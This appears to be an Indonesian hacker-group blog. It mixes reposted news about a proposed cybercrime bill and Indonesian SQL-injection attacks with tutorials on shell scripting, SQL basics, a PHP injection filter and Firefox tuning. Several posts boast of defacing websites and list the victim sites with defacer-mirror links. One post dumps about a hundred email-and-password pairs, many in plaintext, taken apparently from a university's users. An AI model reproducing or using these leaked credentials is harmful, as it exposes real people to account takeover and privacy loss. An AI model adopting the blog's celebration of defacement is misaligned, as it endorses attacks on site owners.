RUU TIPITI

Posted on 02.32 by CS-31

JAKARTA - Setelah UU Informasi dan Transaksi Electronik (UU ITE)
memunculkan kontroversi karena dianggap mengebiri kebebasan
berpendapat. Kini warga dunia maya di Indonesia akan mendapat 'ancaman'
baru dari Undang-undang Tindak Pidana Teknologi Informasi (UU TIPITI).

Dijelaskan pengamat internet Enda Nasution, UU TIPITI merupakan
pelengkap dari pasal yang tidak ada di UU ITE, atau artinya lebih
khusus dibuat untuk pengguna internet.

"Dari naskah yang saya tahu, undang-undnag ini nantinya akan menjerat
pengguna internet yang melakukan clickjacking, hacking, deface atau
semua yang sifatnya merusak situs lain," tegas Enda kepada okezone, di
Jakarta, Rabu (23/12/2009).

Ditambahkan olehnya, UU ini tengah dibahas oleh anggota DPR di komisi
I. Rencananya, rancangan UU TIPITI akan rampung paling cepat pada tahun
2010 mendatang.

Saat ditanya apakah rancangan peraturan ini akan mengekang kebebasan di
internet, enda menjawab mungkin. "Ada arah menuju kesana nampaknya,"
tegasnya.

Dalam rancangan undang-undang (RUU) tersebut, yang tersebar di
internet, semua kasus yang terjadi di dunia maya akan diselesaikan
dengan pidana penjara dan denda miliaran rupiah, bahkan pidana mati.

Contohnya pada pasal 9 dalam RUU tersebut yang isinya "Barangsiapa
dengan sengaja dan melawan hukum memanfaatkan Teknologi Informasi
dengan maksud untuk menghilangkan nyawa, harta benda orang lain, atau
mengakibatkan kerusakan atau kehancuran obyek-obyek vital dan strategis
atau lingkungan hidup atau fasilitas umum atau fasilitas internasional,
usaha menggulingkan pemerintahan yang sah, atau membahayakan keamanan
negara atau untuk memisahkan sebagian dari wilayah negara atau sebagai
bagian dari kegiatan teror kepada orang atau negara lain, dipidana
dengan pidana mati atau penjara seumur hidup atau pidana penjara,
paling singkat 10 (sepuluh) tahun dan paling lama 20 (dua puluh) tahun.

Lainnya, seperti kasus pencurian di dunia maya, dalam RUU tersebut,
pasal 10 akan dipidana selama 15 tahun atau denda maksimal dua miliar.
Sedangkan aksi cracking (membobol jaringan internet secara ilegal),
pada pasal 11 RUU ini akan dikenakan penjara maksimal 4 tahun. Hukuman
penjara dan denda akan menjadi lebih besar jika yang diakses adalah
sistem jaringan internet yang strategis, seperti milik pemerintahan dan
lainnya. Bahkan jika informasi tersebut disebarluaskan, maka hukuman
penjara ditambahkan menjadi 12 tahun lagi atau denda maksimal Rp2
miliar.

Selain itu, kasus pemalsuan identitas (pada pasal 12) akan memakan
hukuman 3 tahun penjara. Bahkan jika identitas tersebut digunakan untuk
kejahatan di dunia maya maka hukuman akan ditambah menjadi tujuh tahun.

Penyalahgunaan email (pasal 27 ayat 1) atau memalsukan email orang lain
(pasal 27 ayat 2), masing-masing dikenakan penjara tiga tahun atau lima
tahun . Pemalsuan nomor IP (pasal 24) dan penggunakan nama domain
secara tidak sah (pasal 26), masing-masing berakibat penjara maksimum 5
tahun.

Belum lagi kasus penyebaran pornografi melalui TI akan diancam pidana
maksimal penjara 7 tahun. Jika pornografi tersebut masuk kategori
pornografi anak maka hukuman penjara menjadi lebih lama, sampai 15
tahun. Meski hanya membantu (pasal 17), pelaku tindak kejahatan akan
diancam hukuman lima tahun penjara. Sedangkan kasus penyadapan secara
ilegal, termasuk komunikasi data, akan mengalami hukuman penjara yang
sama dengan pelaku hacking (pasal 22 ayat 1), yaitu selama lima tahun.
Aksi hacking ini akan mendapatkan penjara lebih lama, selam 7 tahun,
jika yang menjadi korban adalah situs milik pemerintah atau institusi
(pasal 22 ayat 2).

Yang perlu diperhatikan dalam RUU tersebut adalah adanya ancaman
penjara untuk pelanggaran hak cipta dengan TI, dan penyalahgunaan TI
untuk menebar teror. Masing-masing kasus masuk dalam pasal 28 dan 20,
dengan hukuman penjara 10 tahun untuk penyalahgunaan HAKI, dan 30 tahun
untuk menebar teror melalui internet.


nah...yang perlu qT lakukan menurut saia..
1. membuat pernyataan sikap
2. menguatkan barisan
3. tetap menjaga koordinasi dengan yang lain
4. jangan takut

karena jelaz jika RUU itu benar di terapkan maka matilah ke crativean kwn2 smwa...

http://yasanti.or.id/
http://alumni.sdmuhsapen-yog.sch.id/
http://teflin.org/
http://www.deptan.go.id/wap/index.php?option=section&id=2
http://litbang.um.ac.id/index.php
http://nurharias.um.ac.id/index.php
http://keuangan.depdiknas.go.id/?mod=detilnews&id=64
http://www.lantai2.com/administrator/
http://www.lemtiui.com/images/index.php
http://systems.ie.ui.ac.id/
http://www.ie.ui.ac.id/


kami para pengguna cunia cyber tolak UU TIPITI
karena kami sebagai seorang penggina merasa terbatasi jika uu tersebut di berlakukan

kami ada karena teknologi ada

ini sebagaii penolakan kami
terimakasih

jangan dipublikasikan email saya.....

terimakasih kembali

UU TIPITI Ancaman Baru Warga Dunia Maya?

Posted on 02.01 by CS-31

JAKARTA - Setelah UU Informasi dan Transaksi Electronik (UU ITE) memunculkan kontroversi karena dianggap mengebiri kebebasan berpendapat. Kini warga dunia maya di Indonesia akan mendapat 'ancaman' baru dari Undang-undang Tindak Pidana Teknologi Informasi (UU TIPITI).

Dijelaskan pengamat internet Enda Nasution, UU TIPITI merupakan pelengkap dari pasal yang tidak ada di UU ITE, atau artinya lebih khusus dibuat untuk pengguna internet.

"Dari naskah yang saya tahu, undang-undnag ini nantinya akan menjerat pengguna internet yang melakukan clickjacking, hacking, deface atau semua yang sifatnya merusak situs lain," tegas Enda kepada okezone, di Jakarta, Rabu (23/12/2009).

Ditambahkan olehnya, UU ini tengah dibahas oleh anggota DPR di komisi I. Rencananya, rancangan UU TIPITI akan rampung paling cepat pada tahun 2010 mendatang.

Saat ditanya apakah rancangan peraturan ini akan mengekang kebebasan di internet, enda menjawab mungkin. "Ada arah menuju kesana nampaknya," tegasnya.

Dalam rancangan undang-undang (RUU) tersebut, yang tersebar di internet, semua kasus yang terjadi di dunia maya akan diselesaikan dengan pidana penjara dan denda miliaran rupiah, bahkan pidana mati.

Contohnya pada pasal 9 dalam RUU tersebut yang isinya "Barangsiapa dengan sengaja dan melawan hukum memanfaatkan Teknologi Informasi dengan maksud untuk menghilangkan nyawa, harta benda orang lain, atau mengakibatkan kerusakan atau kehancuran obyek-obyek vital dan strategis atau lingkungan hidup atau fasilitas umum atau fasilitas internasional, usaha menggulingkan pemerintahan yang sah, atau membahayakan keamanan negara atau untuk memisahkan sebagian dari wilayah negara atau sebagai bagian dari kegiatan teror kepada orang atau negara lain, dipidana dengan pidana mati atau penjara seumur hidup atau pidana penjara, paling singkat 10 (sepuluh) tahun dan paling lama 20 (dua puluh) tahun.

Lainnya, seperti kasus pencurian di dunia maya, dalam RUU tersebut, pasal 10 akan dipidana selama 15 tahun atau denda maksimal dua miliar. Sedangkan aksi cracking (membobol jaringan internet secara ilegal), pada pasal 11 RUU ini akan dikenakan penjara maksimal 4 tahun. Hukuman penjara dan denda akan menjadi lebih besar jika yang diakses adalah sistem jaringan internet yang strategis, seperti milik pemerintahan dan lainnya. Bahkan jika informasi tersebut disebarluaskan, maka hukuman penjara ditambahkan menjadi 12 tahun lagi atau denda maksimal Rp2 miliar.

Selain itu, kasus pemalsuan identitas (pada pasal 12) akan memakan hukuman 3 tahun penjara. Bahkan jika identitas tersebut digunakan untuk kejahatan di dunia maya maka hukuman akan ditambah menjadi tujuh tahun.

Penyalahgunaan email (pasal 27 ayat 1) atau memalsukan email orang lain (pasal 27 ayat 2), masing-masing dikenakan penjara tiga tahun atau lima tahun . Pemalsuan nomor IP (pasal 24) dan penggunakan nama domain secara tidak sah (pasal 26), masing-masing berakibat penjara maksimum 5 tahun.

Belum lagi kasus penyebaran pornografi melalui TI akan diancam pidana maksimal penjara 7 tahun. Jika pornografi tersebut masuk kategori pornografi anak maka hukuman penjara menjadi lebih lama, sampai 15 tahun. Meski hanya membantu (pasal 17), pelaku tindak kejahatan akan diancam hukuman lima tahun penjara. Sedangkan kasus penyadapan secara ilegal, termasuk komunikasi data, akan mengalami hukuman penjara yang sama dengan pelaku hacking (pasal 22 ayat 1), yaitu selama lima tahun. Aksi hacking ini akan mendapatkan penjara lebih lama, selam 7 tahun, jika yang menjadi korban adalah situs milik pemerintah atau institusi (pasal 22 ayat 2).

Yang perlu diperhatikan dalam RUU tersebut adalah adanya ancaman penjara untuk pelanggaran hak cipta dengan TI, dan penyalahgunaan TI untuk menebar teror. Masing-masing kasus masuk dalam pasal 28 dan 20, dengan hukuman penjara 10 tahun untuk penyalahgunaan HAKI, dan 30 tahun untuk menebar teror melalui internet. (iam)

Okezone

Apa sih shell ntu

Posted on 08.45 by CS-31

Definisi dari skrip shell adalah sekumpulan perintah Unix yang ditulis pada satu file yang kemudian dijalankan dengan jalan nama file tersebut. Skrip shell ini juga dikenal dengan nama file perintah (Command File) atau lebih singkat lagi disebut Skripl .
Pada tulisan ini hanya dibahas pembauatan skrip dengan menggunakan C Shell, Korn Shell, dan Bourne Shell.

Untuk membuat skrip shell ini dapat digunakan text editor apa saja, seprti Vi, Emacs, maupun Pico.
Contoh 1 :
echo “ Tanggal Sekarang : “
date

Maka ketika dijalankan dengan memanggil nama program tersebut, misal nama program contoh1, maka akan ditampilkan :
Tanggal Sekarang : 16 Desember 1998

Bila program diletakkan pada direktori user (biasanya /home/user_name ), maka cara menjalankan program tersebut adalah dengan cara mengetikkan “titik garismiring ./ ”:
$ ./contoh1 (memberikan “ ./ “)

Sedangkan permition setnya harus diubah sebagai berikut : chmod +x contoh1, artinya supaya file tersebut menjadi file yang dapat dieksekusi. Jika permition setnya tidak diubah , maka akan timbul pesan berikut :
$ ./coba permition denied


Pemberian akhiran (ekstension ) pada suatu skrip menunjukkan jenis shell yang digunakan .
Misalnya : - .csh ekstension skrip untuk C shell
- .sh ekstension skrip untuk Bourne shell atau Korn shell

Pada beberapa sistem, skrip shell untuk C shell, pada baris pertama harus diawali dengan tanda “# “ , sedangkan untuk shell lain selain C shell digunakan tanda “ : “ .
Misal Contoh 2: #
echo “ Tanggal Sekarang : \n “ #ini bagian komentar , tanda \n supaya hasil out
date #ketika ditampilkan berada baris selanjutnya.


Output : Tanggal Sekarang :
5 Desember 1998 #perhatikan hasilnya dengan Contoh1


Variabel
Variabel adalah suatu nama yang dapat digunakan untuk menampung suatu nilai. Variabel bisa berupa nama, angka, maupun garis bawah ( _ )

Cara pemberian nilai pada vaiabel
a. Pada Bourne dan Korn Shell :
variabel = nilai

Apabila variabel mengandung karakter tertentu maka ditulis dengan cara memberikan tanda petik ganda ( “ )
Variabel = “Karakter”

b. Pada C shell :
@ variabel = nilai (tanda @ dengan variabel dipisahkan satu spasi )

Sedangkan untuk variabel yang menganduing karakter dengan menambahkan kata “set “
Sehingga : set variabel = “karakter”


Membaca data dari Keybord
Perintah untuk membaca masukkan dari Keybord adalah : “ read “
Misal : echo –n “ Masukkan nama Anda :”
read nama
echo “Hai $nama, apa kabar ?”

Hasil eksekusi : Masukkan nama anda : bom2stalker
Hai bom2stalker, apa kabar ?

Pemrosesan Argument
Argument ini pada shell juga dikenal sebagai parameter posisi.
Misalnya :
ls -a -l , maka :
argument[0] = ls
argmunet[1]= -a
argument[2]= -l

Tabel –1 : Parameter yang berhubungan dengan parameter posisi
Bourne & Korn Shell C Shell Keterangan
$# $#argv Menyatakan jumlah parameter
$0 $0
$argv[0] Menyatakan nama skrip shell
$1 $1
$argv[1] Menyatakan parameter pertama
.. .. ..
$* $argv[*] Menyatakan semua parameter

Khusus untuk parameter kesepuluh dan setersunya perlu dinyatakan dengan ${10} (angka dinyatakan dalam kurung {} ).

Contoh 3 : skrip dengan Bourne / Korn shell
:
#argument.sh
#contoh pemrosesan argument dengan Bourne Shell dan Korn Shell

echo “jumlah argument = $”
echo “semua argument = $*”
echo ”Isi \$0 : $0”
echo “isi \$1 : $1”


Contoh 4 : skrip dengan C shell :
#
#argument.sh
#contoh pemrosesan argument dengan Bourne Shell dan Korn Shell

echo “jumlah argument = $”
echo “semua argument = $*”
echo ”Isi \$0 : $0”
echo “isi \$1 : $1”

Hasil eksekusi kedua contoh diatas (3 dan 4 ) adalah :
$./argument.sh halo
semua parameter = halo
Isi $0 :argument.sh
Isi $1 :halo

Baik C shell, Korn shell, maupun Bourne shell mempunyai perintah berkondisi, berupa :
- if
- switch (Cshell)
- case (Bourne dan Korn Shell)

Adapun perintah yang berguna untuk melakukan proses pengulangan adalah :
- for (Bourne & Korn shell)
- foreach (C shell)
- until (Bourne, Korn, dan C shell)
- while (Bourne, Korn, dan C shell)
- repeat (C shell)


Salah satu pemakaian skrip adalah penggunaannya pada File Profile .
File profile adalah file yang dapat dieksekusi ketika seorang pemakai melakukan login. Berikut ini adalah nama-nama file profile untuk berbagai jenis shell :

Tabel –2 Profile pada shell

Tabel –2 Profile pada shell
Nama Shell Nama File Profile
Bourne Shell .profile
C Shell .login
Korn Shell .profile

File-file ini dapat digunakan untuk meletakkan tindakan-tindakan yang perli dilakukan pada saat login. Seringkali file ini digunkan untuk menjalankan aplikasi secara otomatis, begitu pemakai melakukan login. Ini dilakukan pada pemakai-pemakai yang berlaku sebagai operator. Mereka tidak masuk ke prompt login.
Untuk mengetahui contoh file profile, dapat dilihat isi file profile tersebut yang ada pada home direktori setiap user . Kita dapat menambahkan perintah-perintah pada file tersebut, karena file tersebut sebenarnya merupakan skrip shell.

Informasi lebih kanjut mengenai masing-masing shell dapat diperoleh secara online dengan memberikan perintah :
- man csh (Untuk melihat manual C shell)
- man sh (Untuk melihat manual Bourne shell)
- man ksh (untuk melihat manual Korn shell)


Daftar reference yang dapat digunakan untuk mengenal scrip lebih jauh dapat dilihat di :
[1]. http://www.Developer.com
[2]. http://www.cgiexpert.com
[3]. http://www.all-yours.net/scripts/

From : INDONESIAN HACKER TEAM (BOMBOM)

Jakarta – Tim Pengawas Internet Jepang atau Japan Computer Emergency & Response Team/Coodination Center (Japan CERT) ternyata punya penilaian tersendiri terhadap serangan internet di Indonesia. Mereka mengaku dibuat takjub dengan pola serangan yang dilakukan.

Hal ini dikatakan Keisuke Kamata, Deputy Director JP-CERT dalam kunjungannya ke pusat monitoring trafik internet Indonesia (ID-SIRTII), Senin kemarin.

Menurut IGN Mantra, Analis Senior Keamanan Jaringan dan Pemantau Trafik Internet ID-SIRTII, Japan CERT adalah salah satu organisasi pemerintah yang mengawasi internet dengan 700 sensor lebih tersebar di seluruh penjuru di Negeri Sakura.

“Mereka memonitor trafik internet dengan jumlah serangan lebih dari 2 juta sehari, dan melakukan berbagai penelitian terhadap malware yang dikirim oleh para hacker dari seluruh penjuru dunia ke Jepang, dan memiliki pola serangan yang sangat berbeda dengan serangan internet di Indonesia,” ujarnya kepada detikINET, Selasa (14/7/2009).

Sehingga wajar jika Kamata mengatakan, Indonesia ini sangat unik. Sebab, dengan hanya jumlah sensor 10 unit saja, jumlah serangan internet telah mencapai 1 juta sehari.

“Kebanyakan model serangan adalah SQL injection atau para hacker mencoba-coba untuk mengirim SQL injection yang akan mengganggu bila SQL injection berhasil di-inject ke dalam web sistem, yang berbeda dengan Jepang yang kebanyakan serangannya adalah malicious ware (malware) dan distributed denial of service (DDOS),” jelas Mantra.
( ash / faw )

sumber http://www.detikinet.com/read/2009/07/14/085023/1164462/323/jepang-kagum-dengan-serangan-internet-di-indonesia

What Is SQL??

Posted on 23.27 by CS-31

Apa itu SQL?

SQL merupakan singkatan dari Structured Query Language. SQL atau juga sering disebut sebagai query merupakan suatu bahasa (language) yang digunakan untuk mengakses database. SQL dikenalkan pertama kali dalam IBM pada tahun 1970 dan sebuah standar ISO dan ANSII ditetapkan untuk SQL. Standar ini tidak tergantung pada mesin yang digunakan (IBM, Microsoft atau Oracle). Hampir semua software database mengenal atau mengerti SQL. Jadi, perintah SQL pada semua software database hampir sama.

Terdapat 3 (dua) jenis perintah SQL, yaitu DDL, DML dan DCL.

1. DDL atau Data Definition Language

DDL merupakan perintah SQL yang berhubungan dengan pendefinisian suatu struktur database, dalam hal ini database dan table. Beberapa perintah dasar yang termasuk DDL ini antara lain :

* CREATE
* ALTER
* RENAME
* DROP

2. DML atau Data Manipulation Language

DML merupakan perintah SQL yang berhubungan dengan manipulasi atau pengolahan data atau record dalam table. Perintah SQL yang termasuk dalam DML antara lain :

* SELECT
* INSERT
* UPDATE
* DELETE

3. DCL atau Data Control Language

DCL (bukan BCL) merupakan perintah SQL yang berhubungan dengan pengaturan hak akses user MySQL, baik terhadap server, database, tabel maupun field. Perintah SQL yang termasuk dalam DCL antara lain :

* GRANT
* REVOKE

Membuat, Menampilkan, Membuka dan Menghapus Database

1. Membuat Database

Sintaks umum membuat database baru adalah:

CREATE DATABASE [IF NOT EXISTS] nama_database;

Bentuk perintah di atas akan membuat sebuah database baru dengan nama nama_database. Aturan penamaan sebuah database sama seperti aturan penamaan sebuah variabel, dimana secara umum nama database boleh terdiri dari huruf, angka dan under-score (_). Jika database yang akan dibuat sudah ada, maka akan muncul pesan error. Namun jika ingin otomatis menghapus database yang lama jika sudah ada, aktifkan option IF NOT EXISTS.Setiap kita membuat database baru, maka sebenarnya MySQL akan membuat suatu folder (direktori) sesuai dengan nama databasenya yang ditempatkan secara default di \mysql\data. Di dalam folder tersebut nantinya akan terdapat file-file yang berhubungan dengan tabel dalam database.

Berikut ini contoh perintah untuk membuat database baru dengan nama “admin” :

CREATE DATABASE admin;

Jika query di atas berhasil dieksekusi dan database berhasil dibuat, maka akan ditampilkan pesan sebagai berikut :

Query OK, 1 row affected (0.02 sec)

2. Melihat Database

Untuk melihat database yang baru saja dibuat atau yang sudah ada, dapat menggunakan perintah sebagai berikut :

SHOW DATABASES;

Hasil dari perintah di atas akan menampilkan semua database yang sudah ada di MySQL. Berikut ini contoh hasil dari query di atas :

+--------------+
| Database |
+--------------+
| admin |
| mysql |
| test |
+--------------+
3 rows in set (0.02 sec)

3. Membuka Database

Sebelum melakukan manipulasi tabel dan record yang berada di dalamnya, kita harus membuka atau mengaktifkan databasenya terlebih dahulu. Untuk membuka database “admin”, berikut ini querynya :

USE admin;

Jika perintah atau query di atas berhasil, maka akan ditampilkan pesan sebagai berikut :

Database changed

4. Menghapus Database

Untuk menghapus suatu database, sintaks umumnya adalah sbb :

DROP DATABASE [IF EXISTS] nama_database;

Bentuk perintah di atas akan menghapus database dengan nama nama_database. Jika databasenya ada maka database dan juga seluruh tabel di dalamnya akan dihapus. Jadi berhati-hatilah dengan perintah ini! Jika nama database yang akan dihapus tidak ditemukan, maka akan ditampilkan pesan error. Aktifkan option IF EXISTS untuk memastikan bahwa suatu database benar-benar ada.

Berikut ini contoh perintah untuk menghapus database dengan nama “admin” :

DROP DATABASE admin;

Seni Deface ala saya

Posted on 07.18 by CS-31


ada pribahasanya bilang, sekali mendayung seribu pulau terlampaui tapi saya bisanya cuman

sekali mendayung 9,10 website terlampaui.wakakakakakkakakakakakakka

sehingga jika melihat seninya ntu lah seni saya walah walah
aneh aneh wae
hehehehehehehehehehhehehehehehe




http://www.suryawibawa.com/index2.html
http://www.indonesiandefacer.org/mirror/2009/12/suryawibawa.html

http://www.semangatku.com/index2.html
http://www.indonesiandefacer.org/mirror/2009/12/semangatku.html

http://www.mainangrosir.com/index2.html
http://www.indonesiandefacer.org/mirror/2009/12/mainangrosir.html

http://www.sistemakuntansi.com/
http://www.indonesiandefacer.org/mirror/2009/12/sistemakuntansi.html

http://www.suprarubber.com/index2.html
http://www.indonesiandefacer.org/mirror/2009/12/suprarubber.html

http://www.orgismo.com/index2.html
http://www.indonesiandefacer.org/mirror/2009/12/orgismo.html

http://www.tunaindonesia.com/index3.php
http://www.indonesiandefacer.org/mirror/2009/12/tunaindonesia.html

http://www.agungsari.com/index2.html
http://www.indonesiandefacer.org/mirror/2009/12/agungsari.html

http://www.grahasepeda.com/index3.php
http://www.indonesiandefacer.org/mirror/2009/12/grahasepeda.html

SQLI PATHC

Posted on 10.35 by CS-31

Ini patch untuk mencegah serangan SQL Injection di halaman dinamis pada PHP + MySQL. Biasanya halaman dinamis ini

bentuknya kayak gini http://uhui.com/vuln.php?id=[Input_Angka]

Bentuk umum kode di halaman dinamis php untuk membaca database melalui MySQL :

PHP Code:
$id = htmlentities($_GET['id']);
$variabel = mysql_query("select *from tabeltarget where idtarget='$id'")

Injection Flaw terjadi karena inputnya gak kefilter dengan baik. Sehingga input '$id' yang seharusnya diisi dengan (biasanya) angka bisa diisi dengan query SQL.. Yang mengakibatkan query SQL tersebut dieksekusi sehingga injector bisa melakukan berbagai hal misalnya membaca isi database, membaca suatu file di situs tersebut, dll.

Nah, untuk mencegah hal tersebut sebaiknya kita memfilter inputnya sebelum diproses dengan SQL.

Contoh kode filternya :
===================================================================
PHP Code:

error_reporting(0);
class filter{
function filtering($id){
$idfilter = mysql_real_escape_string($id);
if (!ctype_digit($idfilter))
{
echo "Can't process your request, dude :P ";
exit;
}
else if ($idfilter <= 0)
{
echo "Can't process your request, dude :P ";
exit;
}
else
{
return $id;
}
}
}
$Filter2 = new filter();
$id = htmlentities($_GET['id']);
$secured = $Filter2->filtering($id);
$variabel = mysql_query("select *from tabeltarget where idtarget='$secured'")
========================================================================

Pertama-tama menggunakan error_reporting(0); . Kode tersebut digunakan untuk mendisable error reporting sehingga jika terjadi error tidak keluar pesan error.

Selanjutnya variabel $id disaring dulu menggunakan mysql_real_escape_string yang berfungsi untuk menambahkan slash (\) apabila ada tanda kutip pada input $id.

Setelah disaring dengan mysql_real_escape_string, disaring lagi dengan melakukan pengecekan apakah inputnya berupa angka atau bukan dengan menggunakan kode !ctype_digit . Jika ternyata bukan angka maka akan ditolak. Selain pengecekan input apakah angka atau bukan, dilakukan juga pengecekan apakah inputnya sama atau lebih kecil dari 0 (minus) jika iya maka akan ditolak.

Abis itu baru deh aplikasikan ke syntax SQL-nya.

Untuk lebih jelasnya silahkan baca ulang kode sebelum difilter dan setelah difilter berkali-kali sampai paham

moga bermanfaat

By : IHT

Mempercepat Browsing pada Fire Fox

Posted on 14.11 by CS-31

Untuk meningkatkan kemampuan browser Firefox, dibutuhkan sedikit pengaturan settingan tambahan. Berikut ini tips untuk menggandakan kecepatan browser Mozilla Firefox ini. Selamat mencoba.

1. Aktifkan browser Firefox Anda dan ketikkan perintah “about:config” (tanpa tanda kutip), di address barnya.
2. Anda akan dibawa ke halaman konfigurasi Firefox. Kalau ada peringatan untuk hati-hati mengubah pengaturan pada halaman tersebut, klik yes atau ok saja.
3. Pada filter search bar di halaman konfigurasi, ketikkan “network.http.pipelining“. Pastikan valuenya sudah diset dengan nilai “true”. Jika masih “false”, klik ganda untuk menjadikannya “true”.
4. Kembali ke filter search bar, ketikkan “network.http.pipelining.maxrequests“. Double klik pada opsi ini dan rubah nilainya (value) menjadi 8.
5. Kembali ke filter search bar, ketikkan “network.http.proxy.pipelining“, double klik untuk merubah valuenya menjadi ‘true’.
6. Kembali ke filter search bar, ketikkan “network.dns.disableIPv6“. Double klik untuk merubah nilainya menjadi ‘true’.
7. Klik kanan di halaman konfigurasi tersebut dimanapun terserah, pilih new –>boolean. Ketikkan “content.interrupt.parsing“pada popup windows yang muncul kemudian klik OK. Ketika prompt untuk pilihan muncul, pilih ‘true’.
8. Kembali klik kanan halaman konfigurasi, pilih new –> integer. Ketikkan “content.max.tokenizing.time“. Pada prompt value yang muncul masukkan nilai 2250000.
9. Kembali klik kanan halaman konfigurasi, pilih new –> integer. Ketikkan “content.notify.interval“. Masukkan nilai 750000 pada prompt value yang muncul.
10. Kembali klik kanan halaman konfigurasi, pilih new –> boolean. Ketikkan “content.notify.ontimer“. Pilih ‘true’ untuk isian prompt value yang muncul.
11. Kembali klik kanan halaman konfigurasi, pilih new –> integer. Ketikkan “content.notify.backoffcount“. Pada prompt value yang muncul isikan value ‘5'.
12. Kembali klik kanan halaman konfigurasi, pilih new –> integer. Ketikkan “content.switch.threshold“. Isikan nilai 750000 pada prompt integer value yang muncul.
13. Terakhir, kembali klik kanan pada halaman konfigurasi, pilih new –>integer. Ketikkan “nglayout.initialpaint.delay“. Isikan nilai ‘0' pada prompt isian nilai yang muncul.

JANGAN LUPA UNTUK MERESTART FIREFOX NYA.

Langsung saja dipraktekkan dan rasakan kemampuan & kecepatan Firefox milik Anda meningkat dua kali lipat dibanding settingan defaultnya.

Setinggan tambahan (optional) :
browser.tabs.showSingleWindowModePrefs : true
network.http.max-connections : 64
network.http.max-connections-per-server : 20
network.http.max-persistent-connections-per-proxy : 10
network.http.max-persistent-connections-per-server : 4
network.http.request.timeout : 300
network.http.request.max-start-delay = 0
network.http.proxy.version = 1.0

Silahkan mencoba

Googling

hasil pembelajaran dari om cro hehehe

Posted on 14.10 by CS-31

http://zt.qhde.com/index2.html
http://bt.auuu.cn/index2.html
http://cs.qhde.com/index2.html
http://ecshop.qhde.com/index2.html
http://e.holidayinn-qhd.cn/images/Nyc0.html
http://shopex.qhde.com/index2.html
http://www.jcqhd.cn/image/index2.html

http://www.indonesiandefacer.org/user/194/CYBER




Email:Passwd:
hassane@its.ac.id:ac43724f16e9241d990427ab7c8f4228:
jon@its.ac.id:42867493d4d4874f331d288df0044baa:
:41591fa3a697604be431ef66b5f53572:
hqm03@yahoo.com:muhammad:
tjuk@its.ac.id:72dabe497516c268bc78ed8a0f3c2a73:
mahmud@toshiba-tjp.co.id:azwash:
ney_hak@plasa.com:teknik:
reixy_01@yahoo.co.id:siantar:
achmad@its.ac.id:fc2c9434b0b66ef4700e8d805b7d8610:
sidik.purnomo@gmail.com:sidik:
the_anz@ie.its.ac.id:0207:
dadangks@yahoo.com:```:
nurdi_anto@plasa.com:dontcry:
dfe@yahoo.com:anis:
cities_88id@yahoo.com:barley:
zion69@cs.its.ac.id:harley:
jamaah_jamiatulmustaqim@yahoo.co.id:503190:
asu_14@plasa.com:asutsu:
byu_it@yahoo.com:331108:
tututu@telkom.net:vampier:
leonheart_FFIX@yahoo.com:amitia:
demosfet@plasa.com:0987:
jokoirsan@plasa.com:170155:
rudhy.bakti@gmail.com:anjelina81:
hafiz_agust@yahoo.com:kapling:
roszuchri@yahoo.com:441194:
hiru_itsphysics@yahoo.co.id:rohmatul ula:
tomy@yahoo.com:mataram:
luki_rachimi@yahoo.com:kentang:
wewenkgobank@yahoo.com:412412:
isra_binjai@yahoo.com:fath2x:
havil_elka@yahoo.co.id:robotlengan:
rasiman@library.usu.ac.id:entersaja:
jb_vector@yahoo.co.id:viktor:
yeni_sugiati@walla.com:biologi:
lovelypoei@yahoo.co.id:pikapoei:
:sabar:
rhoez_civilits@yahoo.co.id:310581:
bewoks_pendi@yahoo.com:310786:
adam.bgt@gmail.com:saddam:
rayyifrasya@yahoo.co.id:123456:
adrianus_amheka@yahoo.com:123123:
ihsanlabte@gmail.com:biddong:
NuckGrowHow84@yahoo.com:nugie:
warock@physics.its.ac.id:reog:
rido@elect-eng.its.ac.id:keparat:
sarirahayu84@yahoo.co.id:123456:
martin_lrw@yahoo.co.id:mrt:
yuhendra_st@yahoo.com:1972:
onal_25@yahoo.com:3d2172418ce305c7d16d4b05597c6a59:
wijaya@elect-eng.its.ac.id:elektro:
xendro102000@yahoo.com:setyopalupi:
pramudya@elect-eng.its.ac.id:terserah:
m_sigit_d@yahoo.com.au:021268:
budi_hrt@its.ac.id:c332ca7cb7d018e6150fd2fdace5911b:
herumurti@enviro.its.ac.id:tigerpooh:
dayu_sha@yahoo.com:081204:
prazetyo@gmail.com:4yuchandra:
Mas_Nono66@yahoo.com:sutono:
haroyyanto@yahoo.com:sandiku:
luv_ayra@yahoo.com:7777777:
surbakti@linuxmail.org:mamak:
ipunk_one@plasa.com:1202100030:
mdrbdg@yahoo.com:mdrbdg:
khonk_aja@yahoo.com:slemania:
kerangsaustiram@yahoo.com:846549:
rosadi_aditya@yahoo.com:pringgondani:
kriswin2000@yahoo.com:bravo:
kangpayi@yahoo.com:kangpayii:
ijotahu@yahoo.com:yunila:
dito_47@yahoo.com:110d46fcd978c24f306cd7fa23464d73:
grey_eeta@yahoo.com:171084:
mbek@fasilkom.uniku.ac.id:948c508a7364a98270b349d04bb146fd:
unic_aziz@yahoo.co.id:27121982:
awhyk_hqm@yahoo.com:070584:
fahran_fai@yahoo.com:samsung:
emmy_palapa@yahoo.com:parameswara:
samuel_ardy@yahoo.com:070584:
far1dfahm1@yahoo.com:123:
suminar_pratapa@physics.its.ac.id:aang0224:
agunj_193@yahoo.com:milano:
oki_darsyah@yahoo.com:ciputat:
ider_5@yahoo.co.id:827ccb0eea8a706c4c34a16891f84e7b:
jeykeren@gmail.com:tumorrow:
teguh_perdana04@yahoo.co.id:slanker:
romy_thedoctor46@yahoo.com:290585:
r1_lin@yahoo.com:juju:
botolsky@yahoo.com:pinjuin:
Feqzee_blue@yahoo.com:fiskie:
eny_widi@its.ac.id:4387a6590c317c2e2ed0185a9b354dd7:
:eaa282a0e60c67915d24d1f7cc52f77b:
prasetya_joy@plasa.com:21782:
wib_0707@yahoo.co.id:221102:
lutfi_milanisti@yahoo.co.id:winda:
pandies_064@yahoo.com:123456:
chiendra_luv@yahoo.co.id:70ebb3403bd7fe281112b5a05a44673c:
zamrud@its.ac.id:bd9059497b4af2bb913a8522747af2de:
erna:baratajaya:
ochthie@yahoo.com:osis67:
hargi:baratajaya:
perdhana2000@yahoo.com:free:

Pagi Pagi enaknya sarapan beginian ???

Posted on 19.22 by CS-31

http://thefunnycrew.com/
http://www.indonesiandefacer.org/mirror/2009/12/thefunnycrew.html

http://tanpamu.com/
http://www.indonesiandefacer.org/mirror/2009/12/tanpamu.html

http://jabrik.co.tv/
http://www.indonesiandefacer.org/mirror/2009/12/jabrik.html

http://www.articlescastle.info/
http://www.indonesiandefacer.org/mirror/2009/12/articlescastle.html

http://www.teamprozac.co.cc/
http://www.indonesiandefacer.org/mirror/2009/12/teamprozac.html

http://neverstudy.com/
